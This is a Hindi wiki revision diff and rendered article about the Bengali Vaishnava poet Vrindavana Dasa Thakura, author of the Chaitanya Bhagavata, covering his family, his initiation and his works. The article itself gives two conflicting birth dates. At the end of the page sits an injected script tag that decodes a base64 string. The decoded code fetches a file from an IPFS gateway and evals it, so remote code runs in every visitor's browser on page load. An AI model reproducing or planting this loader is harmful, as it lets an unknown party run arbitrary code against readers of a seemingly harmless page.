वृन्दावनदास ठाकुर: Difference between revisions
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) No edit summary |
No edit summary |
||
Line 39: | Line 39: | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
'''वृन्दावनदास ठाकुर''' ([[अंग्रेज़ी]]: ''Vrindavana Dasa Thakura'', जन्म: 1507 ई., [[पश्चिम बंगाल]]; मृत्यु: 1589 ई.) [[बांग्ला भाषा|बंगला भाषा]] में '[[चैतन्य भागवत]]' नामक [[ग्रंथ]] के रचयिता थे। यह ग्रन्थ [[चैतन्य महाप्रभु]] का जीवनचरित है। यह बंगला भाषा का आदि काव्य ग्रंथ माना जाता है। | '''वृन्दावनदास ठाकुर''' ([[अंग्रेज़ी]]: ''Vrindavana Dasa Thakura'', जन्म: 1507 ई., [[पश्चिम बंगाल]]; मृत्यु: 1589 ई.) [[बांग्ला भाषा|बंगला भाषा]] में '[[चैतन्य भागवत]]' नामक प्रसिद्ध [[ग्रंथ]] के रचयिता थे। यह ग्रन्थ [[चैतन्य महाप्रभु]] का जीवनचरित है। यह बंगला भाषा का आदि काव्य ग्रंथ माना जाता है। | ||
==परिचय== | ==परिचय== | ||
वृन्दावनदास ठाकुर का जन्म [[पश्चिम बंगाल]] के [[नवद्वीप]] में [[संवत]] 1582 ई. में हुआ था। इनके [[पिता]] कुमारहद निवासी बैकुंठनाथ ठाकुर थे। [[माता]] का नाम नारायणी देवी था। कुछ दिन के बाद ये माता के साथ कुमारहद लौट आए थे, जहाँ इनकी माता का शरीरांत हो गया। इन्होंने 'चैतन्य मंगल' ग्रंथ लिखा | वृन्दावनदास ठाकुर का जन्म [[पश्चिम बंगाल]] के [[नवद्वीप]] में [[संवत]] 1582 ई. में हुआ था। इनके [[पिता]] कुमारहद निवासी बैकुंठनाथ ठाकुर थे। [[माता]] का नाम नारायणी देवी था। कुछ दिन के बाद ये माता के साथ नवद्वीप से कुमारहद लौट आए थे, जहाँ इनकी माता का शरीरांत हो गया। इन्होंने 'चैतन्य मंगल' नामक ग्रंथ लिखा, जो बाद में 'चैतन्य भागवत' नाम से प्रसिद्ध हुआ। [[कृष्णदास कविराज]] ने अपने ग्रंथ '[[चैतन्य चरितामृत]]' में इसकी बड़ी प्रशंसा की है। कवि कर्णपूर ने वृन्दावनदास को '[[वेद व्यास]] का अवतार' कहा है। अंतिम अवस्था में वृन्दावनदास ठाकुर [[वृंदावन]] गए थे। | ||
==दीक्षा== | ==दीक्षा== | ||
महान [[वैष्णव]] आचार्य वृन्दावनदास ठाकुर, श्रीमन नित्यानंद प्रभु जी के मन्त्र शिष्य थे, जिन्होंने श्री चैतन्य भागवत की रचना की थी। इन्होंने चैतन्य भागवत में भगवान [[चैतन्य महाप्रभु]] की विभिन्न लीलाओं का विस्तारपूर्वक वर्णन किया है। 16 [[वर्ष]] की आयु में इन्होंने नित्यानंद प्रभु जी से दीक्षा ग्रहण की थी। वे श्रीमन नित्यानंद प्रभु जी के प्रियतम शिष्य थे। | |||
===='चैतन्य भागवत' का वर्णन==== | |||
वृन्दावनदास ठाकुर की माता श्रीवास पंडित जी के भाई की कन्या थीं। जिस समय भगवान श्री चैतन्य महाप्रभु जी ने श्रीवास पंडित के घर में 'महाभाव प्रकाश' लीला की और वहां एकत्रित भक्तों को अपने स्वरूप के दर्शन करवाए, उस समय नारायणी देवी केवल 4 वर्ष की बच्ची थीं। चैतन्य भागवत में इस लीला का वर्णन इस प्रकार है- | |||
"जिस समय गौरांग महाप्रभु जी ने श्रीवास पंडित जी के घर में अपने स्वरूप को प्रकाशित किया, उसी समय महाप्रभु जी ने नारायणी को 'कृष्ण' नाम उच्चारण करने को कहा। नारायणी उस समय मात्र 4 वर्ष की थीं और वह 'कृष्ण-कृष्ण' उच्चारण करती हुई [[कृष्ण]] प्रेम में पागल होकर, नेत्रों से अश्रुधारा बहाती हुई [[पृथ्वी]] पर गिर पड़ीं।" नारायणी देवी के पुत्र हुए वृन्दावनदास ठाकुर।" | |||
"जिस समय गौरांग महाप्रभु जी ने श्रीवास पंडित जी के घर में अपने स्वरूप को प्रकाशित किया, उसी समय महाप्रभु जी ने नारायणी को 'कृष्ण' नाम उच्चारण करने को | |||
नारायणी को किस प्रकार महाप्रभु जी की कृपा प्राप्त हुई, इसका उल्लेख 'चैतन्य भागवत' में किया गया है- | नारायणी को किस प्रकार महाप्रभु जी की कृपा प्राप्त हुई, इसका उल्लेख 'चैतन्य भागवत' में किया गया है- | ||
"नारायणी की भगवान में बहुत निष्ठा | "नारायणी की भगवान में बहुत निष्ठा थी। वह केवल एक छोटी बच्ची थी, किन्तु स्वयं भगवान श्री चैतन्य महाप्रभु ने श्रीवास पंडित के घर उनकी भतीजी नारायणी को अपना महाप्रसाद देकर विशेष कृपा प्रदान की।" | ||
निश्चित ही यह भगवान [[चैतन्य महाप्रभु]] की कृपा थी, जो वृन्दावनदास ठाकुर जी ने नारायणी के गर्भ से जन्म लिया। श्री गौरांग और नित्यानंद जी तो वृन्दावनदास ठाकुर जी का जीवन व प्राण हैं। 'श्रीगौर गणों देश दीपिका' ग्रन्थ में लिखा है कि ब्रज लीला में [[कृष्ण]] की स्तन-धात्री अम्बिका की छोटी बहन किलिम्बिका ही नारायणी देवी के रूप में चैतन्य लीला में अवतरित हुईं और अम्बिका श्रीवास पंडित जी की पत्नी मालिनी देवी के रूप में आईं। इस प्रकार अम्बिका और किलिम्बिका, दोनों बहनें पुनः गौरांग महाप्रभु जी की लीला में मालिनी देवी और नारायणी देवी के रूप में अवतरित हुई।<ref>{{cite web |url=http://sabkeguru.blogspot.in/2014/10/blog-post_62.html |title=श्रीकृष्ण की प्रेमपूर्वक सेवा करना ही भक्ति है |accessmonthday=16 मई |accessyear=2015 |last= |first= |authorlink= |format= |publisher=सबके गुरु (ब्लॉग) |language=हिन्दी }}</ref> | निश्चित ही यह भगवान [[चैतन्य महाप्रभु]] की कृपा थी, जो वृन्दावनदास ठाकुर जी ने नारायणी के गर्भ से जन्म लिया। श्री गौरांग और नित्यानंद जी तो वृन्दावनदास ठाकुर जी का जीवन व प्राण हैं। 'श्रीगौर गणों देश दीपिका' ग्रन्थ में लिखा है कि ब्रज लीला में [[कृष्ण]] की स्तन-धात्री अम्बिका की छोटी बहन किलिम्बिका ही नारायणी देवी के रूप में चैतन्य लीला में अवतरित हुईं और अम्बिका श्रीवास पंडित जी की पत्नी मालिनी देवी के रूप में आईं। इस प्रकार अम्बिका और किलिम्बिका, दोनों बहनें पुनः गौरांग महाप्रभु जी की लीला में मालिनी देवी और नारायणी देवी के रूप में अवतरित हुई।<ref>{{cite web |url=http://sabkeguru.blogspot.in/2014/10/blog-post_62.html |title=श्रीकृष्ण की प्रेमपूर्वक सेवा करना ही भक्ति है |accessmonthday=16 मई |accessyear=2015 |last= |first= |authorlink= |format= |publisher=सबके गुरु (ब्लॉग) |language=हिन्दी }}</ref> | ||
==मुख्य रचनाएँ== | ==मुख्य रचनाएँ== | ||
#चैतन्य भागवत | |||
#श्रीनित्यानंद चरितामृत | |||
#आनंदलहरी | |||
#तत्वसार | |||
#तत्वविलास | |||
#भक्तिचिंतामणि | |||
{{लेख प्रगति |आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति |आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | ||
Line 67: | Line 67: | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{बांग्ला साहित्यकार}} | {{बांग्ला साहित्यकार}} | ||
[[Category:कवि]][[Category:साहित्यकार]][[Category:बांग्ला साहित्यकार]][[Category:साहित्य कोश]][[Category:भक्ति साहित्य]] | [[Category:कवि]][[Category:साहित्यकार]][[Category:बांग्ला साहित्यकार]][[Category:साहित्य कोश]][[Category:भक्ति साहित्य]][[Category:चरित कोश]][[Category:जीवनी साहित्य]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
Revision as of 08:02, 19 May 2015
वृन्दावनदास ठाकुर
| |
पूरा नाम | वृन्दावनदास ठाकुर |
जन्म | 1507 ई. |
जन्म भूमि | नवद्वीप, पश्चिम बंगाल |
मृत्यु | 1589 ई. |
गुरु | श्रीमन नित्यानंद प्रभु |
कर्म भूमि | पश्चिम बंगाल, भारत |
मुख्य रचनाएँ | 'चैतन्य भागवत', 'श्रीनित्यानंद चरितामृत', 'आनंदलहरी', 'तत्वसार', 'तत्वविलास', 'भक्तिचिंतामणि'। |
भाषा | बांग्ला |
नागरिकता | भारतीय |
संबंधित लेख | चैतन्य महाप्रभु, गौड़ीय सम्प्रदाय, चैतन्य चरितामृत |
अन्य जानकारी | वृन्दावनदास ठाकुर ने 'चैतन्य मंगल' ग्रंथ लिखा है, जो बाद में 'चैतन्य भागवत' नाम से प्रसिद्ध हुआ। कृष्णदास कविराज ने अपने ग्रंथ 'चैतन्य चरितामृत' में इसकी बड़ी प्रशंसा की है। |
वृन्दावनदास ठाकुर (अंग्रेज़ी: Vrindavana Dasa Thakura, जन्म: 1507 ई., पश्चिम बंगाल; मृत्यु: 1589 ई.) बंगला भाषा में 'चैतन्य भागवत' नामक प्रसिद्ध ग्रंथ के रचयिता थे। यह ग्रन्थ चैतन्य महाप्रभु का जीवनचरित है। यह बंगला भाषा का आदि काव्य ग्रंथ माना जाता है।
परिचय
वृन्दावनदास ठाकुर का जन्म पश्चिम बंगाल के नवद्वीप में संवत 1582 ई. में हुआ था। इनके पिता कुमारहद निवासी बैकुंठनाथ ठाकुर थे। माता का नाम नारायणी देवी था। कुछ दिन के बाद ये माता के साथ नवद्वीप से कुमारहद लौट आए थे, जहाँ इनकी माता का शरीरांत हो गया। इन्होंने 'चैतन्य मंगल' नामक ग्रंथ लिखा, जो बाद में 'चैतन्य भागवत' नाम से प्रसिद्ध हुआ। कृष्णदास कविराज ने अपने ग्रंथ 'चैतन्य चरितामृत' में इसकी बड़ी प्रशंसा की है। कवि कर्णपूर ने वृन्दावनदास को 'वेद व्यास का अवतार' कहा है। अंतिम अवस्था में वृन्दावनदास ठाकुर वृंदावन गए थे।
दीक्षा
महान वैष्णव आचार्य वृन्दावनदास ठाकुर, श्रीमन नित्यानंद प्रभु जी के मन्त्र शिष्य थे, जिन्होंने श्री चैतन्य भागवत की रचना की थी। इन्होंने चैतन्य भागवत में भगवान चैतन्य महाप्रभु की विभिन्न लीलाओं का विस्तारपूर्वक वर्णन किया है। 16 वर्ष की आयु में इन्होंने नित्यानंद प्रभु जी से दीक्षा ग्रहण की थी। वे श्रीमन नित्यानंद प्रभु जी के प्रियतम शिष्य थे।
'चैतन्य भागवत' का वर्णन
वृन्दावनदास ठाकुर की माता श्रीवास पंडित जी के भाई की कन्या थीं। जिस समय भगवान श्री चैतन्य महाप्रभु जी ने श्रीवास पंडित के घर में 'महाभाव प्रकाश' लीला की और वहां एकत्रित भक्तों को अपने स्वरूप के दर्शन करवाए, उस समय नारायणी देवी केवल 4 वर्ष की बच्ची थीं। चैतन्य भागवत में इस लीला का वर्णन इस प्रकार है-
"जिस समय गौरांग महाप्रभु जी ने श्रीवास पंडित जी के घर में अपने स्वरूप को प्रकाशित किया, उसी समय महाप्रभु जी ने नारायणी को 'कृष्ण' नाम उच्चारण करने को कहा। नारायणी उस समय मात्र 4 वर्ष की थीं और वह 'कृष्ण-कृष्ण' उच्चारण करती हुई कृष्ण प्रेम में पागल होकर, नेत्रों से अश्रुधारा बहाती हुई पृथ्वी पर गिर पड़ीं।" नारायणी देवी के पुत्र हुए वृन्दावनदास ठाकुर।"
नारायणी को किस प्रकार महाप्रभु जी की कृपा प्राप्त हुई, इसका उल्लेख 'चैतन्य भागवत' में किया गया है-
"नारायणी की भगवान में बहुत निष्ठा थी। वह केवल एक छोटी बच्ची थी, किन्तु स्वयं भगवान श्री चैतन्य महाप्रभु ने श्रीवास पंडित के घर उनकी भतीजी नारायणी को अपना महाप्रसाद देकर विशेष कृपा प्रदान की।"
निश्चित ही यह भगवान चैतन्य महाप्रभु की कृपा थी, जो वृन्दावनदास ठाकुर जी ने नारायणी के गर्भ से जन्म लिया। श्री गौरांग और नित्यानंद जी तो वृन्दावनदास ठाकुर जी का जीवन व प्राण हैं। 'श्रीगौर गणों देश दीपिका' ग्रन्थ में लिखा है कि ब्रज लीला में कृष्ण की स्तन-धात्री अम्बिका की छोटी बहन किलिम्बिका ही नारायणी देवी के रूप में चैतन्य लीला में अवतरित हुईं और अम्बिका श्रीवास पंडित जी की पत्नी मालिनी देवी के रूप में आईं। इस प्रकार अम्बिका और किलिम्बिका, दोनों बहनें पुनः गौरांग महाप्रभु जी की लीला में मालिनी देवी और नारायणी देवी के रूप में अवतरित हुई।[1]
मुख्य रचनाएँ
- चैतन्य भागवत
- श्रीनित्यानंद चरितामृत
- आनंदलहरी
- तत्वसार
- तत्वविलास
- भक्तिचिंतामणि
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ श्रीकृष्ण की प्रेमपूर्वक सेवा करना ही भक्ति है (हिन्दी) सबके गुरु (ब्लॉग)। अभिगमन तिथि: 16 मई, 2015।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>